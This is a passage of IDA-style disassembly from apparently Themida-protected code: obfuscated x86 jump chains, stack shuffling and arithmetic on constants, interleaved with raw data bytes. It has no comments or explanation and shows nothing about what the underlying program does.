xor edx, [esp]
xor [esp], edx
jmp loc_553535
; ---------------------------------------------------------------------------
loc_545C9B: ; CODE XREF: Themida_:0054CCE2j
pop ebx
jmp loc_54345A
; ---------------------------------------------------------------------------
aUph db 'UPh#',0
dw 156Ch
dd 5AC70D58h, 4AE91137h
db 0B5h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_545CB3: ; CODE XREF: Themida_:00554394j
and ebp, 39ED7139h
push 1FBEh
jmp loc_555FF3
; ---------------------------------------------------------------------------
db 0BBh
dd 5D6A4AD9h, 0BB5BD889h, 0F64AFEB4h, 0AE9C301h
db 9, 1, 0
; ---------------------------------------------------------------------------
loc_545CD7: ; CODE XREF: Themida_:00544F7Bj
push dword ptr [esp]
jmp loc_551D1F
; ---------------------------------------------------------------------------
db 87h
dd 0FFC683DEh, 0BA0EE9h
db 0
; ---------------------------------------------------------------------------
loc_545CE9: ; CODE XREF: Themida_:0055324Fj
mov edx, 57EB02F5h
jmp loc_5523C4
; ---------------------------------------------------------------------------
loc_545CF3: ; CODE XREF: Themida_:0054BC52j
push esi
push 1080h
mov [esp], eax
push 2266103Eh
mov eax, [esp]
add esp, 4
neg eax
not eax
jmp loc_542718
; ---------------------------------------------------------------------------
db 29h
dd 1A75E9FEh, 50660001h, 0E10091B4h, 0CE885866h, 6CB4E959h
dd 248B0000h, 24042924h, 0C9D6E99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_545D36: ; CODE XREF: Themida_:0054F8E6j
add esp, 4
pop ebp
and ecx, eax
mov eax, [esp]
push edx
jmp loc_5522F7
; ---------------------------------------------------------------------------
db 81h, 0E3h, 1Ah
dd 810E0147h, 0FFBBF4C3h, 5BD801FDh, 0FFDCEBE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_545D59: ; CODE XREF: Themida_:00546492j
xchg esi, [esp]
pop esp
push eax
jmp loc_54CBF0
; ---------------------------------------------------------------------------
loc_545D63: ; CODE XREF: Themida_:005535CDj
mov ecx, eax
mov eax, [esp]
add esp, 4
jmp loc_54E068
; ---------------------------------------------------------------------------
loc_545D70: ; CODE XREF: Themida_:005470EDj
and eax, ecx
mov ecx, [esp]
push esi
push esp
push dword ptr [esp]
pop esi
jmp loc_5530BD
; ---------------------------------------------------------------------------
dd 5F132D58h, 34FF0244h, 30DE924h, 0C2810000h, 4, 4EC8356h
dd 0BB241C89h, 58615A24h, 45E68h, 242C8900h, 0EE89DD89h
dd 0C6815B5Dh, 0A79EA5E0h, 18C6EA81h, 0F2011294h, 18C6C281h
dd 875E1294h, 3BE92414h, 8F000089h, 248B2404h, 2E0E6824h
dd 3C890000h, 515F5424h, 482C9BB9h, 9FF18107h, 8107482Ch
dd 313C8BEFh, 81CF0145h, 313C8BC7h, 4ADBE945h, 1C890000h
dd 7E95424h
db 96h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_545E03: ; CODE XREF: Themida_:00543B6Fj
push ecx
mov ecx, 1B7595Ch
add ecx, 0FE48A6A3h
jmp loc_5574B8
; ---------------------------------------------------------------------------
dd 0FB1CE95Ch, 489FFFFh, 5E08924h, 4, 405h, 3655E900h
dd 0C7810000h, 444D54CCh, 0AA77E955h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_545E3A: ; CODE XREF: Themida_:0054F7EAj
mov esi, [esp]
jmp loc_549166
; ---------------------------------------------------------------------------
dw 487h
aST db '$é',8,'t',0
align 2
dw 34FFh
dd 240C8B24h, 10C64E9h, 1FF78100h, 2D273722h, 48EE5B73h
dd 3B1D0805h, 2DF82931h, 313B1D08h, 0EE5B7305h, 0BF575F48h
dd 1D32970h, 4EC81h, 1C890000h, 9EF0E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_545E86: ; CODE XREF: Themida_:005553B1j
pop esp
jmp loc_55541B
; ---------------------------------------------------------------------------
dd 781227BBh, 0A1F38161h, 534F2943h, 5B2414F7h, 616EBD55h
dd 0ED810699h, 1A7D77FEh, 0ED53E9h, 74FF5300h, 1C8B0424h
dd 4C48324h, 8B24048Fh, 0E9F72424h, 591068h, 24148900h
dd 0E8E99C50h, 21000047h, 0E3C15DEBh, 71EB8104h, 31FF608Dh
dd 0F504E9D8h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_545EE2: ; CODE XREF: Themida_:00555566j
sub ecx, edx
jmp loc_547231
; ---------------------------------------------------------------------------
db 89h, 1Ch, 24h
dd 4A60BDBBh, 2EBC16Dh, 1D1CF381h, 0D3F70A39h, 734FBF57h
dd 47477B97h, 0F67F781h, 0FB01035Dh, 0FED1E9h, 0B8505600h
dd 71472B14h, 0F708E0C1h, 0C1D0F7D0h, 0BA0502E0h, 89F543C3h
dd 69E958C6h, 530000B7h, 0FD60D4BBh, 0E9EBD132h, 0FFFFFFD5h
dd 24048F54h, 8904EC83h, 0BF57242Ch, 4, 815FFD89h, 88042444h
dd 11EA368h, 5704246Ch, 0A36888BFh, 247C291Eh, 34FF5F08h
dd 9DD5E924h, 0F2290000h, 0CCC8E9h
db 0
; ---------------------------------------------------------------------------
loc_545F75: ; CODE XREF: Themida_:00557081j
add ecx, 4
xchg ecx, [esp]
pop esp
mov esi, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
push 2D78h
jmp loc_55506C
; ---------------------------------------------------------------------------
dw 8B54h
dd 0C483243Ch, 37886804h, 0AEE90000h, 89000020h, 94BB241Ch
dd 293C0E5Eh, 48B5BD9h, 42886824h, 0C890000h, 9973E924h
dd 8B660000h, 65E92404h
db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_545FCF: ; CODE XREF: Themida_:00546046j
sub di, ax
jmp loc_5560CA
; ---------------------------------------------------------------------------
db 86h
dd 0E9D134D8h, 1906h
; ---------------------------------------------------------------------------
loc_545FE0: ; CODE XREF: Themida_:00547FE6j
push ebp
pop ebx
mov ebp, [esp]
add esp, 4
and eax, ebx
push dword ptr [esp]
pop ebx
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
or edx, eax
shl edx, 1
push ebx
push ebp
push eax
mov eax, 2E9E6722h
neg eax
shr eax, 2
sub eax, 638074A8h
neg eax
sub esp, 4
mov [esp], ebx
mov ebx, 5886731h
and ebx, 71E24CA3h
jmp loc_5441D9
; ---------------------------------------------------------------------------
dw 34FFh
dd 24048B24h, 3E44E9h
db 0
; ---------------------------------------------------------------------------
loc_54603D: ; CODE XREF: Themida_:00550499j
neg di
push ax
mov ax, 55CDh
jmp loc_545FCF
; ---------------------------------------------------------------------------
loc_54604B: ; CODE XREF: Themida_:00550DBCj
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
mov [esp], ebx
push edx
jmp loc_54E79C
; ---------------------------------------------------------------------------
db 5Fh, 83h, 0C1h
dd 17696802h, 0C890000h, 2474FF24h, 2434FF04h, 81240C8Bh
dd 4C4h, 0EC835700h, 24248904h, 0DBE95653h, 54000087h
dd 10B8505Eh, 0F71C5E45h, 0BAEC2DD8h, 55E9E3A1h, 5E0000E5h
dd 104C483h, 6312E9C3h, 0E95B0000h, 6908h, 8BA6E95Ch, 0CC680000h
dd 8900001Dh, 82B82404h, 0F709737Fh, 0FC9EE9D0h, 0E8890000h
dd 8BC2015Dh, 0C4832404h, 14875F04h, 24248B24h, 81E78957h
dd 4C7h, 95E95000h
db 34h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5460E7: ; CODE XREF: Themida_:00551EF0j
sub esi, ebp
pop ebp
sub ebp, esi
mov esi, [esp]
add esp, 4
dec ebp
push 2DE9h
mov [esp], eax
jmp loc_550628
; ---------------------------------------------------------------------------
db 1
dd 0FF555FFDh, 5D042474h, 5C24048Fh, 81E38953h, 4C3h, 4EB8300h
dd 5C241C87h, 89240C89h, 4C181E1h, 50000000h, 4055854h
dd 2D000000h, 4, 5C240487h, 53F0E9h, 0C2815A00h, 4, 463468h
dd 24348900h, 4BEh, 5EF22900h, 31241433h, 14332414h, 24248B24h
dd 53240489h, 8852D388h, 0FFD488DAh, 0E95A2434h, 0FFFFD5F9h
dd 4BD55h, 0E8010000h, 9675E9h, 0C582E900h, 0BBBDFFFFh
dd 45348559h, 891AE9h
db 0
; ---------------------------------------------------------------------------
loc_546195: ; CODE XREF: Themida_:0054F164j
add ebp, 0BC74E0Eh
jmp loc_5559FA
; ---------------------------------------------------------------------------
loc_5461A0: ; CODE XREF: Themida_:00555807j
push 0
pop edx
sub edx, 11C93D16h
add edx, ecx
add edx, 11C93D16h
add [edx], ebx
jmp loc_549E31
; ---------------------------------------------------------------------------
db 81h
dd 0FE8A55F2h, 0E9D1316Dh, 73D3h
; ---------------------------------------------------------------------------
loc_5461C8: ; CODE XREF: Themida_:005508A6j
pop ebp
jmp loc_550B90
; ---------------------------------------------------------------------------
loc_5461CE: ; CODE XREF: Themida_:0054B27Dj
add ch, 0FFh
push eax
push ecx
mov ch, 95h
mov ah, 4Ah
xor ah, ch
pop ecx
add ch, 31h
add ch, ah
sub ch, 31h
push dword ptr [esp]
jmp loc_557124
; ---------------------------------------------------------------------------
dw 505Fh
dd 7A5563B8h, 0F7D0F713h, 0D1D0F7D0h, 6A9B05E0h, 0B054E92h
dd 29550047h, 0CB03E9C2h, 52660000h, 81E78957h, 4C7h, 4EF8100h
dd 87000000h, 248B243Ch, 1510E924h, 0E1E90001h, 81FFFFC4h
dd 1B242AC1h, 9FC18154h, 5F58F268h, 13D268h, 24148900h
dd 0E0328B68h, 24148B44h, 4C481h, 0EA810000h, 44E03287h
dd 0E95AD101h, 0FFFFD7CDh, 0E95BD831h, 0C4B6h, 0E5268h
dd 24248900h, 9BBE5652h, 0BA423E15h, 0C5B8ED2Ch, 0B37BE9h
dd 6976B900h, 0C80142F8h, 81240C8Bh, 4C4h, 0B685E00h, 8900006Eh
dd 0E955243Ch, 9621h
; ---------------------------------------------------------------------------
loc_54629C: ; CODE XREF: Themida_:0054C443j
add esp, 4
push esi
jmp loc_5480BA
; ---------------------------------------------------------------------------
db 83h, 0C6h, 4
dd 2474FF56h, 2434FF04h, 0E389535Eh, 4C381h, 0BD550000h
dd 4, 335DEB01h, 1C31241Ch, 241C3324h, 24048F5Ch, 4E7C05Ch
dd 704268h, 240C8900h, 0EF30CDB5h, 1ED5E959h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5462E6: ; CODE XREF: Themida_:00546F7Aj
push dword ptr [esp]
pop eax
push esi
jmp loc_553E3A
; ---------------------------------------------------------------------------
dd 4C281h, 2FE90000h, 0B1000050h, 0E59EE906h, 23B1FFFFh
dd 8B66C828h, 0C483240Ch, 4EC8102h, 89000000h, 0EC81241Ch
dd 4, 0B4240489h, 0E96BB7A4h, 6B4Dh, 246C015Bh, 9FD8E904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_546332: ; CODE XREF: Themida_:005537BAj
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
xchg eax, ebx
dec eax
or eax, 7BF27D8h
push ecx
mov ecx, 47B86A0Eh
sub ecx, 24D5FC8Ah
xor ecx, 1F595AA1h
shr ecx, 8
not ecx
inc ecx
xor ecx, 0E7BC5C44h
add eax, ecx
jmp loc_54C9AC
; ---------------------------------------------------------------------------
db 1
dd 4E4C05C8h, 0E9595278h, 5D2Bh
; ---------------------------------------------------------------------------
loc_546378: ; CODE XREF: Themida_:00556B9Bj
mov esi, 70207Dh
sub ecx, esi
pop esi
push 7BADh
mov [esp], ebp
jmp loc_54C319
; ---------------------------------------------------------------------------
db 81h, 0C7h, 0F6h
dd 81489C01h, 72DBEDC7h, 0E9FB2947h, 10091h, 0C83073B0h
dd 0F909E9h, 37BEBE00h, 5E920A8h
db 0AEh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5463B3: ; CODE XREF: Themida_:00542C96j
shl ecx, 1
add ecx, 0FFFFFFFFh
neg ecx
shl ecx, 8
or ecx, 5CC854F6h
jmp loc_548BB9
; ---------------------------------------------------------------------------
dd 68665859h, 89666E5Bh, 0EC832414h, 241C8904h, 3AF5E9h
db 0
; ---------------------------------------------------------------------------
loc_5463DD: ; CODE XREF: Themida_:00546EEFj
push edx
mov edx, 4
add ebp, edx
pop edx
add ebp, 4
jmp loc_54F014
; ---------------------------------------------------------------------------
dw 159h
dd 5A042454h, 0FFC313E9h, 50464EFFh, 0FFFFFFB8h, 0E9C601FFh
dd 7B26h, 5966E828h, 8B661704h, 0C4832414h, 0DC5BE902h
dd 8B54FFFFh, 0D4E9242Ch
db 0CEh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_546423: ; CODE XREF: Themida_:0054EB13j
pop esi
jmp loc_545409
; ---------------------------------------------------------------------------
db 0D2h, 0Ch, 24h
dd 0C2DAE99Ch, 0FF5CFFFFh, 8FE92434h
db 0CDh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54643B: ; CODE XREF: Themida_:00545698j
shr edx, 7
jmp loc_543945
; ---------------------------------------------------------------------------
db 81h
dd 0FFFFFFEBh, 4EC81FFh, 0E9000000h, 28D2h, 5C24048Fh
dd 24148966h, 0E99C5066h, 0FFFFC2A8h, 0C003EDC0h, 0E5C003E5h
dd 19F58008h, 0ADA5E952h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_546476: ; CODE XREF: Themida_:0054318Bj
mov ebx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_5532AB
; ---------------------------------------------------------------------------
loc_54648A: ; CODE XREF: Themida_:00544402j
mov ebp, 4
add esi, ebp
pop ebp
jmp loc_545D59
; ---------------------------------------------------------------------------
db 5Ch
dd 0FFFFBF57h, 0EE81FFFFh, 59AF16DFh, 0F11EE9h, 0A2B85000h
dd 935EA53h, 24048BC7h, 8104C483h, 0FB7FADF7h, 27EA81FDh
dd 15A0B2Eh, 27C281FAh, 5F5A0B2Eh, 0B1B3E9h
db 0
; ---------------------------------------------------------------------------
loc_5464D1: ; CODE XREF: Themida_:005453B7j
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_5535E3
; ---------------------------------------------------------------------------
dw 0B450h
dd 0FFC48072h, 0D5F6EC86h, 28C9E9h
db 0
; ---------------------------------------------------------------------------
loc_5464F5: ; CODE XREF: Themida_:00548004j
sub esi, ebp
add esi, 2909741Ch
pop ebp
add edx, esi
push dword ptr [esp]
pop esi
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
sub esi, 6C761397h
add esi, edx
jmp loc_5509BA
; ---------------------------------------------------------------------------
a_iS db '_‰Ú[)Ðé!³',0
dw 8300h
dd 0C78304C4h, 243C8702h, 48B665Ch, 0E6895624h, 4C681h
dd 0EE810000h, 4, 5C243487h, 0E9243489h, 0FFFFFD0Ch, 0EB81F301h
dd 47B55B3Fh, 7464EB81h, 0E95E00E7h, 8175h, 1CA8C381h
dd 0DE89BEC7h, 5EF3015Bh, 0FFCB3EE9h, 93B050FFh, 0A0E9C0FEh
dd 0E9FFFFD6h, 0FFFFC180h, 39F5E958h, 89570000h, 5FFA89C7h
dd 582434FFh, 81E78957h, 4C7h, 4C78300h, 5C243C87h, 732A68h
dd 240C8900h, 3A33E9h, 242C8900h, 4BDh, 4B85000h, 1003078h
dd 92E958C3h, 8B0000B9h, 0C483241Ch, 0DFF38104h, 0E95EE900h
dd 0FFFFEF71h
; ---------------------------------------------------------------------------
loc_5465E0: ; CODE XREF: Themida_:0055437Cj
add esp, 4
push edx
mov dl, bh
mov [ecx], dl
pop edx
push dword ptr [esp]
pop ebx
jmp loc_54AA55
; ---------------------------------------------------------------------------
dw 0E95Dh
dd 0F608h, 0AAE9DEF7h, 8900005Bh, 1268241Ch, 8900004Dh
dd 0E9512424h, 0FFFFD030h
; ---------------------------------------------------------------------------
loc_546610: ; CODE XREF: Themida_:0054A0B5j
add dh, cl
jmp loc_542B30
; ---------------------------------------------------------------------------
loc_546617: ; CODE XREF: Themida_:00552CB4j
shr edx, 1
jmp loc_549649
; ---------------------------------------------------------------------------
dw 77FFh
dd 58669D1Ch, 9C240418h, 0FFC0DFE9h, 4C483FFh, 0FFFE1FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_546635: ; CODE XREF: Themida_:005483B7j
push esp
pop eax
add eax, 4
push edx
push 4
pop edx
add eax, edx
pop edx
jmp loc_54ADD4
; ---------------------------------------------------------------------------
db 2Ch
dd 49F8E940h, 9CBE0000h, 0F77AB84Bh, 84CE81D6h, 0E96FFD59h
dd 0FFFFCC5Ah, 815AD631h, 0CF35F7E6h, 0E7C6816Eh, 8107D635h
dd 83C87F6h, 9CB3E93Bh, 0C4830000h, 0D40BE904h, 2680000h
dd 0E9000048h, 72ADh, 0C104EEC1h, 0F68106E6h, 58AC7951h
dd 0E95EF129h, 3AABh, 815AD601h, 4EEh, 0F8E95100h, 8700005Ch
dd 895C243Ch, 0E9552404h, 0C222h, 2A1DC381h, 0C38148D6h
dd 0D63E233Bh, 4A95E9h, 0C4815B00h, 4, 0FF2434FFh, 34FF2434h
dd 0C4815824h, 4, 4C481h, 89510000h, 4C181E1h, 81000000h
dd 4C1h, 240C8700h, 0FFCCADE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_546705: ; CODE XREF: Themida_:00555187j
pop edx
jmp loc_55367C
; ---------------------------------------------------------------------------
db 5Bh
dd 8B24048Fh, 1662424h, 0E99C2404h, 0FFFFBFF0h, 42474FFh
dd 24048F5Bh, 243C895Ch, 4084BA52h, 4DBF25FDh, 143B5F5h
dd 0DB2CE9D7h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54673A: ; CODE XREF: Themida_:0054DC03j
xchg edx, [esp]
pop esp
mov [esp], ax
jmp loc_552D51
; ---------------------------------------------------------------------------
db 81h
dd 8002BCEDh, 54E2E966h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_546752: ; CODE XREF: Themida_:00543784j
add dword ptr [ebx], 1
pop ebx
pop ecx
pop ebx
loc_54675B: ; CODE XREF: Themida_:005467C5j
push esi
push 1219h
mov [esp], eax
jmp loc_54E940
; ---------------------------------------------------------------------------
loc_546769: ; CODE XREF: Themida_:00552F2Dj
mov edi, [esp]
jmp loc_54A8B1
; ---------------------------------------------------------------------------
db 58h, 52h, 0FFh
dd 5A042474h, 8B24048Fh, 14892424h, 0E98EB224h, 0A3A3h
dd 4C7815Fh, 0E9000000h, 4551h, 83240C8Bh, 6A2D04C4h, 573D195Ah
dd 333224BFh, 0CC9EE915h, 0BD55FFFFh, 69ED63E5h, 75CD8145h
dd 51745866h, 4EC81h, 9BE90000h
db 53h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5467C3: ; CODE XREF: Themida_:0054984Ej
or eax, eax
jz loc_54675B
push dword ptr [edi+1Ch]
jmp loc_54C3A3
; ---------------------------------------------------------------------------
db 58h
dd 4EC81h, 2C890000h, 56E58924h, 4BEh, 0E9F50100h, 0C491h
dd 4A02EAC1h, 5A39EA81h, 0EAD17F1Ch, 46A7EA81h, 79E9F5B3h
db 41h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_546803: ; CODE XREF: Themida_:0054E638j
add esp, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_550399
; ---------------------------------------------------------------------------
dd 81E18951h, 4C1h, 4BB5300h, 1000000h, 0C875BD9h, 5E6AE924h
dd 0C4810000h, 4, 5152D828h, 0D5F669B5h, 8003EDC0h, 84E974E5h
dd 8300009Dh, 15E904C6h, 0FE00010Fh, 4C8FEC8h, 0EB58E974h
dd 34FF0000h, 5720E924h, 34890000h, 81E68924h, 4C6h, 4BF5700h
dd 0E9000000h, 0AD88h, 4C481h, 0CCE90000h, 0F7FFFFEAh
dd 67C281DAh, 8123F73Eh, 8A4F33CAh, 0F7DA8772h, 81DA87D3h
dd 71768BC2h, 5AD52959h, 83E8E9h
db 0
; ---------------------------------------------------------------------------
loc_5468A9: ; CODE XREF: Themida_:005560A0j
xchg ebp, [esp]
pop esp
pop dword ptr [edi+24h]
loc_5468B0: ; CODE XREF: Themida_:0054A192j
push edi
push 6BEBh
jmp loc_543D55
; ---------------------------------------------------------------------------
db 89h
dd 4C381E3h, 81000000h, 4EBh, 241C8700h, 8924248Bh, 14B82404h
dd 0E9471E16h, 0FFCFh, 295DEB89h, 34875BDEh, 24248B24h
dd 1F82E9h
db 0
; ---------------------------------------------------------------------------
loc_5468ED: ; CODE XREF: Themida_:0055718Fj
add esp, 4
xor edx, 40166C03h
pop ebp
push esi
jmp loc_54967B
; ---------------------------------------------------------------------------
dd 158C789h, 0E9525FFAh, 0A097h, 81240C8Bh, 4C4h, 0E569E900h
dd 0C5810000h, 4, 4C581h, 2C870000h, 0ACE95C24h, 89000105h
dd 7E956E5h, 89000067h, 9DB82404h, 0BD3FD971h, 0ACFFBE63h
dd 4641E9h, 0BDBEE900h, 5152FFFFh, 0EDC090B5h, 0FED5F605h
dd 0ADB652CDh, 8069EE80h, 0E68084EEh, 0EFD6E9E4h, 0D6010000h
dd 0C630E95Ah, 0BB530000h, 13F6622Bh, 0B8E9DA29h
db 5Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54697F: ; CODE XREF: Themida_:0054E8FDj
not ebp
xchg ebp, esi
not esi
push ebx
mov ebx, 0EA97D1D0h
add esi, ebx
mov ebx, [esp]
add esp, 4
jmp loc_54D38C
; ---------------------------------------------------------------------------
dd 0FE9EB652h, 5F89E9CEh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5469A2: ; CODE XREF: Themida_:00552BB5j
push ecx
push ebp
push 44F66A57h
mov ebp, [esp]
add esp, 4
sub ebp, 0CEB2366Dh
mov ecx, ebp
pop ebp
push 56EDh
mov [esp], edx
mov edx, 231E7D15h
neg edx
push ebp
mov ebp, 53D7FE9h
and edx, ebp
jmp loc_55555C
; ---------------------------------------------------------------------------
aWs db 'Wé~·',0
db 0
; ---------------------------------------------------------------------------
loc_5469DD: ; CODE XREF: Themida_:0054B448j
push eax
push ebx
push edx
mov edx, 20CD73A9h
neg edx
shr edx, 1
or edx, 0FCC4BC1h
dec edx
jmp loc_5524A2
; ---------------------------------------------------------------------------
db 52h, 66h, 0BAh
dd 4266064Fh, 1CC28166h, 0EAC16675h, 0F2816604h, 81665A01h
dd 660DAECAh, 7AD1EA81h, 5AD02966h, 0C2896652h, 5AD78966h
dd 0CEA5E9h, 4EC8100h, 89000000h, 87E9241Ch, 50FFFFECh
dd 405E089h, 0E9000000h, 12F5h, 43B85056h, 0BE551A50h
dd 8E05CC8h, 65E9C631h
db 58h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_546A53: ; CODE XREF: Themida_:00553A49j
mov esp, [esp]
jmp loc_5571B4
; ---------------------------------------------------------------------------
loc_546A5B: ; CODE XREF: Themida_:0055638Ej
sub ebx, 366430E8h
add ebx, edi
jmp loc_54AC90
; ---------------------------------------------------------------------------
loc_546A68: ; CODE XREF: Themida_:00548A77j
or eax, eax
jz loc_5519AA
push dword ptr [edi+1Ch]
push dword ptr [esp]
jmp loc_54ADEC
; ---------------------------------------------------------------------------
db 5Ch
dd 81F4E9h, 4C28300h, 0E9241487h, 1D69h
; ---------------------------------------------------------------------------
loc_546A8C: ; CODE XREF: Themida_:005578F0j
xor esi, ecx
mov ecx, [esp]
push ecx
mov ecx, esp
push eax
mov eax, 44C44834h
dec eax
shl eax, 1
jmp loc_5517B9
; ---------------------------------------------------------------------------
dw 0BD66h
dd 89665AF0h, 0E95D66E8h, 0FFFFFF45h, 4E42E95Ch, 8B540000h
dd 0C483242Ch, 5C596804h, 34890000h, 32AFBE24h, 0EE817570h
dd 66A264F3h, 4544B951h, 0CE312868h, 81240C8Bh, 4C4h, 68EED100h
dd 7DFAh, 1054EE9h, 281B0400h, 0EB02E9F0h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_546AF6: ; CODE XREF: Themida_:0054C314j
push eax
mov eax, esp
jmp loc_550E5A
; ---------------------------------------------------------------------------
dw 148Bh
dd 0FD2CE924h, 0E789FFFFh, 4C781h, 0A1E90000h, 1FFFFC2h
dd 0EC8353D1h, 24348904h, 4FBEE9h, 4C18100h, 83000000h
dd 0C8704E9h, 4895C24h, 98AE924h, 34FF0001h, 242C8B24h
dd 8904EC83h, 8B54241Ch, 0C483241Ch, 67996804h, 4890000h
dd 9CF6E924h, 0CB80000h, 5781E1Ah, 1, 269C912Dh, 6E7CE93Ah
dd 0E3C10000h, 1CEB8102h, 52407E1Ch, 9CDD17BAh, 5AD3319Dh
dd 99E9D801h, 81000010h, 4C4h, 0E0895000h, 405h, 4C08300h
dd 5C240487h, 0FF2434FFh, 2C8B2434h, 4C48124h, 83000000h
dd 895704C4h, 4EC81E7h, 0E9000000h, 0FFFFF331h, 515266ACh
dd 0E9C0DAB1h, 0BFE98002h, 59CE88h, 665A66F0h, 0AF6E952h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_546BD2: ; CODE XREF: Themida_:005579D1j
pop eax
push ebx
mov ebx, 4
add edx, ebx
pop ebx
xor edx, [esp]
xor [esp], edx
jmp loc_54DD44
; ---------------------------------------------------------------------------
db 25h
dd 2A78495Eh, 0E907E8C1h, 107F5h, 0BB943A2Dh, 58C129CCh
dd 0DCFEF181h, 0C1E9839Eh, 55FFFFE5h, 96CDE9h, 8382B200h
dd 896602ECh, 0B5512404h, 8EDC089h, 52B7C580h, 0BB868h
dd 24048900h, 0E5E951h
db 1, 0
; ---------------------------------------------------------------------------
loc_546C2E: ; CODE XREF: Themida_:0054E601j
mov [esp], ebp
mov ebp, 1B1326B0h
push ebp
mov ebp, 109A6A5Ch
xor ebp, 452C046Ah
inc ebp
jmp loc_54A36B
; ---------------------------------------------------------------------------
loc_546C48: ; CODE XREF: Themida_:0054F8F0j
pop edi
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5522E6
; ---------------------------------------------------------------------------
dd 525DE829h, 9B56B868h, 2CE95A1Dh
db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_546C63: ; CODE XREF: Themida_:0054F3A7j
pop bp
add bx, bp
sub bx, 8D9h
pop ebp
movzx eax, ax
jmp loc_551C97
; ---------------------------------------------------------------------------
dw 0EE83h
dd 24348704h, 8924248Bh, 0E2B82404h, 50066B46h, 1240483h
dd 14EFE958h, 0C2810000h, 347437B2h, 0EA81EA29h, 347437B2h
dd 0E9242C8Bh, 6E74h
; ---------------------------------------------------------------------------
loc_546CA8: ; CODE XREF: Themida_:00552111j
mov ebp, 4D7A7719h
or ebp, 4FF786Fh
push 7BE0h
mov [esp], ebx
mov ebx, 15652631h
sub ebx, 18CD31F2h
shl ebx, 1
dec ebx
xor ebx, 0BCC6839h
add ebx, 5B1BFF37h
xor ebp, ebx
mov ebx, [esp]
add esp, 4
add eax, 1B7B4395h
add eax, ebp
sub eax, 1B7B4395h
mov ebp, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_54AAB2
; ---------------------------------------------------------------------------
loc_546D00: ; CODE XREF: Themida_:00543774j
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_54E22C
; ---------------------------------------------------------------------------
aMh3 db '¬hÚ3',0
dw 8900h
dd 0FB7241Ch, 8032B551h, 0E5C055F5h, 8B99E906h, 5C290000h
dd 5B5B0824h, 81243C8Bh, 4C4h, 50E95000h, 10000F6h, 24348BF5h
dd 8704C483h, 248B242Ch, 0B9B6E924h, 0E95FFFFFh, 10BC1h
; ---------------------------------------------------------------------------
loc_546D5C: ; CODE XREF: Themida_:00555DD5j
pop edi
xchg ebp, [esp]
pop esp
mov [esp], ebx
mov bl, 1Dh
shr bl, 3
or bl, 0D3h
shl bl, 5
add bl, 3Fh
push ecx
push 2371h
mov [esp], edx
mov dh, bl
mov cl, dh
jmp loc_545908
; ---------------------------------------------------------------------------
dd 0E9A2B252h, 2EFFh, 1C8BD801h, 4C48124h, 50000000h, 0E11BF57h
dd 8CB83118h, 1ED6F04h, 0C17DE9F8h, 0D929FFFFh, 81E9015Bh
dd 1D3F2AC1h, 45CDE905h, 0C4810000h, 4, 51686853h, 0C15B718Fh
dd 0F38108E3h, 50CC7298h, 0AE3BEB81h, 0DA292268h, 5AD0895Bh
dd 34FFC189h, 0D3D3E924h, 0E92D0000h, 0E960CE59h, 103B0h
dd 8124148Bh, 4C4h, 5211E900h, 0E2890000h, 4C281h, 0EA830000h
dd 0D455E904h, 0F742FFFFh, 8E2C1DAh, 0DE6E9h, 59CD2100h
dd 0F600C581h, 0EE01FF7Fh, 4933E9h, 4C48300h, 4EC81h, 14890000h
dd 4EC8124h, 0E9000000h, 9C0Dh
; ---------------------------------------------------------------------------
loc_546E40: ; CODE XREF: Themida_:00544EB1j
sub esp, 4
mov [esp], ecx
mov ecx, 4
push 53F0h
jmp loc_554731
; ---------------------------------------------------------------------------
dd 2434FF54h, 4C4815Ah, 81000000h, 4C2h, 51505700h, 0FE7528B9h
dd 9701E901h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_546E76: ; CODE XREF: Themida_:00552BF5j
dec ebp
jmp loc_556AC6
; ---------------------------------------------------------------------------
loc_546E7C: ; CODE XREF: Themida_:005513CEj
push edi
mov edi, 1D4B4B9Dh
add esi, edi
push dword ptr [esp]
pop edi
add esp, 4
push esi
push dword ptr [esp]
pop eax
push ecx
jmp loc_557079
; ---------------------------------------------------------------------------
db 81h, 0CBh, 0F0h
aQRussc9 db '(´',7,'Q¹Ð<àuSé—9',0
db 0
; ---------------------------------------------------------------------------
loc_546EAB: ; CODE XREF: Themida_:00547F6Dj
mov ebx, esp
add ebx, 4
jmp loc_551775
; ---------------------------------------------------------------------------
dd 0C381DBF7h, 57353F7Ah, 0FFF6A7E9h, 83E959FFh, 55000013h
